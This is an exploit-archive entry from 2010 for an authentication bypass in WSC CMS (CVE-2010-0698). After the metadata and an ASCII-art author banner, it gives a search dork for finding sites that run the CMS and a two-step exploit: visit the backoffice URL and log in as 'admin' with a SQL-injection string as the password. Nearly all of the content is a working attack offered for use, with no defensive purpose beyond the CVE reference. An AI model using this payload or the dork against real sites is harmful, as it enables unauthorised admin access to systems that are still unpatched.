WSC CMS - Authentication Bypass

Author: Phenom
type: webapps
platform: php
port: 
date_added: 2010-02-18 
date_updated:  
verified: 1 
codes: OSVDB-62476;CVE-2010-0698 
tags: 
aliases:  
screenshot_url:  
application_url: 

------------------------------------------------------
------------------------------------------------------

 _____  _
|  __ \| |
| |__) | |__   ___ _ __   ___  _ __ ___
|  ___/| '_ \ / _ \ '_ \ / _/\| '_ ` _ \
| |    | | | |  __/ | | | (_) | | | | | |
|_|    |_| |_|\___|_| |_|\/__/|_| |_| |_|


------------------------------------------------------
------------------------------------------------------

############### WSC CMS (Bypass) SQL Injection Vulnerability ###################################
#
#       Author : Phenom
#
#       mail : sys.phenom.sys[at]gmail[dot]com
#
#       Dork : Realizzato con WSC CMS  by Dynamicsoft
#
################################################################################################

####### Exploit ################################################################################
#
#     1- http://server/public/backoffice
#
#     2- login with "admin" as user name and 'or' as password
#
################################################################################################